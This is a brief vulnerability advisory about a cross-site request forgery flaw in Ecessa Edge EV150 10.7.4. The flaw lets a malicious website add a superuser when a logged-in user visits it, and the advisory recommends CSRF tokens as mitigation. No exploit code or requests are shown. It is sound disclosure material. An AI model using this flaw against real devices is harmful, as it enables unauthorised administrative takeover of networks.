Ecessa Edge EV150 10.7.4 – Cross-Site Request Forgery (Add Superuser)

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Implement CSRF tokens to validate requests and perform proper input validation to prevent Cross-Site Request Forgery attacks.
